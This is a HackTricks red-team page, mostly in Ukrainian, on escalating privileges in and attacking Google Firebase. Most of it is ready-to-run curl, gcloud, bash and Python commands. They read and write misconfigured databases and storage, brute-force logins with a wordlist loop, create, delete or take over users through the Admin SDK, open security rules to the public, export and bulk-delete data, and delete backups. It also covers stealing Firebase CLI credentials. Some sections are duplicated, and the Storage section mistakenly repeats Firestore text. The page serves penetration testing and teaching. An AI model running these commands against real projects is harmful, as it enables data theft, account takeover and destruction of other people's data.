GCP - Firebase Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Firebase

Неавторизований доступ до Firebase Realtime Database

Зловмиснику не потрібні жодні специфічні дозволи Firebase, щоб виконати цю атаку. Потрібна лише вразлива конфігурація в правилах безпеки Firebase Realtime Database, де правила встановлені як .read: true або .write: true, що дозволяє публічний доступ для читання або запису.

Зловмиснику потрібно визначити URL бази даних, який зазвичай має формат: https://<project-id>.firebaseio.com/.

Цей URL можна знайти через mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), аналіз конфігураційних файлів, таких як google-services.json (Android) або GoogleService-Info.plist (iOS), перегляд вихідного коду веб-застосунків або аналіз мережевого трафіку для виявлення запитів до доменів *.firebaseio.com.

Зловмисник ідентифікує URL бази даних і перевіряє, чи є він доступним публічно, після чого отримує доступ до даних і потенційно записує шкідливу інформацію.

Спочатку вони перевіряють, чи дозволяє база даних доступ на читання, додаючи .json до URL.

curl https://<project-id>-default-rtdb.firebaseio.com/.json

Якщо відповідь містить JSON-дані або null (замість “Permission Denied”), база даних дозволяє доступ на читання. Щоб перевірити доступ на запис, атакуючий може спробувати надіслати тестовий запит на запис, використовуючи Firebase REST API.

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

Якщо операція вдасться, база даних також дозволяє доступ на запис.

Розкриття даних у Cloud Firestore

Зловмиснику не потрібні спеціальні дозволи Firebase, щоб виконати цю атаку. Достатньо, щоб у Cloud Firestore security rules була вразлива конфігурація, де правила дозволяють читання або запис без автентифікації або з недостатньою валідацією. Приклад некоректно налаштованого правила, що надає повний доступ, такий:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Це правило дозволяє будь‑кому читати й записувати всі документи без будь‑яких обмежень. Правила Firestore деталізовані й застосовуються на рівні collection і document, тому помилка в конкретному правилі може призвести до відкриття лише певних collection.

Зловмиснику потрібно визначити Firebase Project ID, який можна знайти шляхом mobile app reverse engineering, аналізу конфігураційних файлів (наприклад, google-services.json або GoogleService-Info.plist), перегляду вихідного коду веб‑застосунків або аналізу мережевого трафіку для виявлення запитів до firestore.googleapis.com. Firestore REST API використовує формат:

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Якщо правила дозволяють доступ на читання без автентифікації, зловмисник може читати колекції та документи. Спочатку зловмисник намагається отримати доступ до конкретної колекції:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

Якщо у відповіді містяться JSON-документи замість повідомлення про помилку доступу, колекція є відкритою. Атакувальник може перерахувати всі доступні колекції, пробуючи поширені назви або аналізуючи структуру застосунку. Щоб отримати доступ до конкретного документа:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Якщо правила дозволяють неавторизований доступ для запису або мають недостатню валідацію, зловмисник може створювати нові документи:

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'

Щоб змінити існуючий документ, потрібно використовувати PATCH:

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'

Щоб видалити документ і спричинити відмову в обслуговуванні:

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Доступ до файлів у Firebase Storage

Зловмиснику не потрібні спеціальні дозволи Firebase, щоб здійснити цю атаку. Достатньо, щоб у Firebase Storage security rules була вразлива конфігурація, яка дозволяє читання або запис без автентифікації або з недостатньою перевіркою. Storage rules контролюють дозволи на читання та запис окремо, тому помилка в правилі може відкрити лише доступ для читання, лише для запису або обидва. Приклад неправильно налаштованого правила, що надає повний доступ:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Це правило дозволяє повний доступ на читання та запис до всіх documents без жодних обмежень. Правила Firestore є деталізованими і застосовуються на рівні collection і document, тому помилка в конкретному правилі може відкривати доступ лише до певних collections.

attacker має визначити Firebase Project ID, який можна знайти через mobile application reverse engineering, аналіз конфігураційних файлів, таких як google-services.json або GoogleService-Info.plist, перегляд вихідного коду web application або шляхом network traffic analysis для виявлення запитів до firestore.googleapis.com.

The Firestore REST API uses the format:https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

Якщо правила дозволяють unauthenticated read access, attacker може читати collections і documents. Спочатку attacker намагається отримати доступ до конкретної collection.

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

Якщо відповідь містить список файлів замість повідомлення про permission error, файл є відкритим. Зловмисник може переглянути вміст файлів, вказавши їхній шлях:

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

Якщо правила дозволяють неаутентифікований доступ на запис або мають недостатню валідацію, атакуючий може завантажити шкідливі файли. Щоб завантажити файл через REST API:

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>

Зловмисник може upload code shells, malware payloads або великі файли, щоб спричинити denial of service. Якщо додаток обробляє або виконує uploaded файли, зловмисник може досягти remote code execution. Щоб видалити файли та спричинити denial of service:

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

Виклик публічних Firebase Cloud Functions

Зловмиснику не потрібні спеціальні дозволи Firebase для експлуатації цієї вразливості; достатньо, щоб Cloud Function була публічно доступна по HTTP без автентифікації.

Функція вразлива, якщо вона налаштована неналежним чином:

  • Вона використовує functions.https.onRequest, який не вимагає автентифікації (на відміну від onCall functions).
  • Код функції не перевіряє автентифікацію користувача (наприклад, відсутні перевірки request.auth або context.auth).
  • Функція публічно доступна в IAM, тобто allUsers має роль roles/cloudfunctions.invoker. Це поведінка за замовчуванням для HTTP functions, якщо розробник не обмежив доступ.

Firebase HTTP Cloud Functions доступні за URL-адресами, такими як:

  • https://<region>-<project-id>.cloudfunctions.net/<function-name>
  • https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)

Зловмисник може виявити ці URL через аналіз вихідного коду, інспекцію мережевого трафіку, enumeration tools або mobile app reverse engineering. Якщо функція публічно відкрита і не вимагає автентифікації, зловмисник може викликати її напряму без облікових даних.

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'

Якщо функція не здійснює належну валідацію вхідних даних, зловмисник може спробувати інші атаки, такі як code injection або command injection.

Brute-force attack проти Firebase Authentication при слабкій політиці паролів

Зловмиснику не потрібні спеціальні дозволи Firebase для проведення цієї атаки. Потрібно лише, щоб Firebase API Key був доступний у мобільних або веб-застосунках, і щоб політика паролів не була налаштована суворіше за значення за замовчуванням.

Зловмисник має ідентифікувати Firebase API Key, який можна знайти через mobile app reverse engineering, аналіз конфігураційних файлів, таких як google-services.json або GoogleService-Info.plist, перегляд вихідного коду веб-застосунків (наприклад, у bootstrap.js) або аналіз мережевого трафіку.

Firebase Authentication’s REST API uses the endpoint: https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY> для автентифікації за email та паролем.

Якщо Email Enumeration Protection вимкнено, відповіді API з помилками можуть розкрити, чи існує email у системі (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), що дозволяє зловмисникам перелічувати користувачів перед спробами вгадати паролі. Коли цей захист увімкнено, API повертає однакове повідомлення про помилку як для неіснуючих email, так і для неправильних паролів, що перешкоджає переліченню користувачів.

Важливо зазначити, що Firebase Authentication застосовує rate limiting, який може блокувати запити, якщо занадто багато спроб автентифікації відбувається за короткий час. Через це зловмиснику доведеться вводити затримки між спробами, щоб уникнути обмеження через rate limiting.

Зловмисник ідентифікує API Key і виконує спроби автентифікації з кількома паролями проти відомих облікових записів. Якщо Email Enumeration Protection вимкнено, зловмисник може перелічувати наявних користувачів, аналізуючи відповіді з помилками API:

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'

Якщо відповідь містить EMAIL_NOT_FOUND, електронна адреса не існує в системі. Якщо вона містить INVALID_PASSWORD, електронна адреса існує, але пароль неправильний, що підтверджує, що користувач зареєстрований. Після ідентифікації дійсного користувача атакуючий може виконувати brute-force спроби. Важливо робити паузи між спробами, щоб уникнути механізмів обмеження швидкості Firebase Authentication:

counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done

With the default password policy (minimum 6 characters, no complexity requirements), the attacker can try all possible combinations of 6-character passwords, which represents a relatively small search space compared to stricter password policies.

Керування користувачами у Firebase Authentication

Зловмиснику потрібні конкретні дозволи Firebase Authentication, щоб виконати цю атаку. Необхідні дозволи:

  • firebaseauth.users.create для створення користувачів
  • firebaseauth.users.update для зміни існуючих користувачів
  • firebaseauth.users.delete для видалення користувачів
  • firebaseauth.users.get для отримання інформації про користувачів
  • firebaseauth.users.sendEmail для надсилання електронних листів користувачам
  • firebaseauth.users.createSession для створення сесій користувачів

Ці дозволи включені в роль roles/firebaseauth.admin, яка надає повний доступ на читання та запис до ресурсів Firebase Authentication. Вони також включені в ролі вищого рівня, такі як roles/firebase.developAdmin (яка включає всі firebaseauth.* permissions) і roles/firebase.admin (повний доступ до всіх сервісів Firebase).

To use the Firebase Admin SDK, the attacker would need access to service account credentials (JSON file), which might be found on compromised systems, publicly exposed code repositories, compromised CI/CD systems, or through the compromise of developer accounts that have access to these credentials.

Першим кроком є налаштування Firebase Admin SDK з використанням облікових даних сервісного акаунта.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Щоб створити шкідливого користувача, використовуючи електронну адресу жертви, зловмисник спробує скористатися Firebase Admin SDK, щоб згенерувати новий обліковий запис на цю адресу.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Щоб змінити існуючого користувача, зловмисник оновить такі поля, як адреса електронної пошти, статус підтвердження або чи деактивовано обліковий запис.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Щоб видалити обліковий запис користувача та спричинити відмову в обслуговуванні, зловмисник відправить запит на повне видалення користувача.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

The attacker також може отримати інформацію про існуючих користувачів, запросивши їхній UID або email address.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Крім того, атакуючий може згенерувати посилання для підтвердження або скидання пароля, щоб змінити пароль користувача та отримати доступ до його облікового запису.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Керування користувачами у Firebase Authentication

Нападникові потрібні певні дозволи Firebase Authentication, щоб виконати цю атаку. Необхідні дозволи:

  • firebaseauth.users.create to create users
  • firebaseauth.users.update to modify existing users
  • firebaseauth.users.delete to delete users
  • firebaseauth.users.get to obtain user information
  • firebaseauth.users.sendEmail to send emails to users
  • firebaseauth.users.createSession to create user sessions

Ці дозволи включені до ролі roles/firebaseauth.admin, яка надає повний доступ для читання/запису до ресурсів Firebase Authentication. Вони також є частиною ролей вищого рівня, таких як roles/firebase.developAdmin (включає всі firebaseauth.* дозволи) та roles/firebase.admin (повний доступ до всіх сервісів Firebase).

Щоб використовувати Firebase Admin SDK, нападникові потрібен доступ до service account credentials (a JSON file), які можна отримати зі зламаних систем, публічно доступних репозиторіїв коду, скомпрометованих CI/CD environments або шляхом компрометації облікових записів розробників, які мають доступ до цих облікових даних.

Перший крок — налаштувати Firebase Admin SDK, використовуючи service account credentials.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Щоб створити шкідливого користувача, використовуючи електронну пошту жертви, зловмисник намагатиметься створити новий обліковий запис з тією адресою електронної пошти, призначивши власний пароль і дані профілю.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Щоб змінити існуючого користувача, зловмисник змінить поля, наприклад адресу електронної пошти, статус підтвердження або те, чи вимкнено обліковий запис.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Щоб видалити обліковий запис користувача — фактично спричинивши відмову в обслуговуванні — зловмисник відправив би запит на постійне видалення цього користувача.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

Атакувальник також може отримати інформацію про існуючих користувачів, наприклад їхній UID або email, запитавши деталі користувача або за UID, або за email.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Крім того, attacker міг би згенерувати verification links або password-reset links, що дозволило б їм змінити пароль user і взяти під контроль account.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Зміна правил безпеки у сервісах Firebase

Зловмиснику потрібні конкретні дозволи для зміни правил безпеки залежно від сервісу. Для Cloud Firestore та Firebase Cloud Storage потрібні дозволи firebaserules.rulesets.create для створення rulesets і firebaserules.releases.create для розгортання releases. Ці дозволи входять до ролі roles/firebaserules.admin або до ролей вищого рівня, таких як roles/firebase.developAdmin та roles/firebase.admin. Для Firebase Realtime Database потрібен дозвіл firebasedatabase.instances.update.

Зловмисник повинен використовувати Firebase REST API для зміни правил безпеки. Перш за все зловмиснику потрібно отримати access token, використовуючи service account credentials. Щоб отримати токен:

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

Щоб змінити правила Firebase Realtime Database:

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'

Щоб змінити правила Cloud Firestore, зловмисник повинен створити ruleset, а потім розгорнути його:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

Попередня команда повертає ім’я ruleset у форматі projects//rulesets/. Щоб розгорнути нову версію, release потрібно оновити за допомогою PATCH-запиту:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Щоб змінити правила Firebase Cloud Storage:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

Попередня команда повертає назву ruleset у форматі projects//rulesets/. Щоб розгорнути нову версію, реліз потрібно оновити за допомогою PATCH‑запиту:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Data exfiltration та маніпуляція даними в Cloud Firestore

Cloud Firestore використовує ту ж інфраструктуру та систему дозволів, що й Cloud Datastore, тому Datastore IAM permissions застосовуються безпосередньо до Firestore. Для маніпулювання TTL-політиками потрібен дозвіл datastore.indexes.update. Для експорту даних потрібен дозвіл datastore.databases.export. Для імпорту даних потрібен дозвіл datastore.databases.import. Для виконання масового видалення даних потрібен дозвіл datastore.databases.bulkDelete.

Для операцій резервного копіювання та відновлення потрібні конкретні дозволи:

  • datastore.backups.get and datastore.backups.list — для переліку та отримання деталей доступних резервних копій
  • datastore.backups.delete — для видалення резервних копій
  • datastore.backups.restoreDatabase — для відновлення бази даних з резервної копії
  • datastore.backupSchedules.create and datastore.backupSchedules.delete — для керування розкладами резервного копіювання

Коли створюється TTL-політика, вибирається певна властивість, яка визначатиме сутності, що підлягають видаленню. Ця TTL-властивість має бути типу Date and time. Зловмисник може вибрати властивість, яка вже існує, або вказати властивість, яку планує додати пізніше. Якщо значення поля — дата в минулому, документ стає придатним для негайного видалення. Зловмисник може використовувати gcloud CLI для маніпуляцій TTL-політиками.

# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl

Щоб експортувати дані та exfiltrate їх, зловмисник міг би використовувати gcloud CLI.

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

Щоб імпортувати шкідливі дані:

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

Щоб виконати масове видалення даних і спричинити denial of service, зловмисник може використовувати інструмент gcloud Firestore bulk-delete для видалення цілих колекцій.

gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>

Для операцій резервного копіювання та відновлення зловмисник може створювати заплановані резервні копії для фіксації поточного стану бази даних, переглядати наявні резервні копії, відновлювати дані з резервної копії для перезапису недавніх змін, видаляти резервні копії, спричиняючи незворотну втрату даних, а також видаляти заплановані резервні копії. Щоб створити щоденний графік резервного копіювання, який одразу створить резервну копію:

gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>

Щоб відновити дані з конкретної резервної копії, атакуючий може створити нову базу даних, використавши дані з цієї резервної копії. Операція відновлення записує дані резервної копії в нову базу даних, тож існуючий DATABASE_ID не можна використовувати.

gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>

Щоб видалити резервну копію та спричинити постійну втрату даних:

gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>

Крадіжка та зловживання Firebase CLI credentials

Attacker не потребує специфічних дозволів Firebase для виконання цієї атаки, але потрібен доступ до локальної системи розробника або до Firebase CLI credentials file. Ці credentials зберігаються у JSON-файлі, розташованому за адресою:

  • Linux/macOS: ~/.config/configstore/firebase-tools.json

  • Windows: C:\Users[User].config\configstore\firebase-tools.json

Цей файл містить authentication tokens, зокрема refresh_token і access_token, які дозволяють attacker автентифікуватися як користувач, який спочатку виконав firebase login.

Attacker отримує доступ до Firebase CLI credentials file. Далі attacker може скопіювати весь файл на свою систему, і Firebase CLI автоматично використовуватиме credentials з місця за замовчуванням. Після цього attacker зможе переглянути всі Firebase projects, доступні цьому користувачу.

firebase projects:list

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks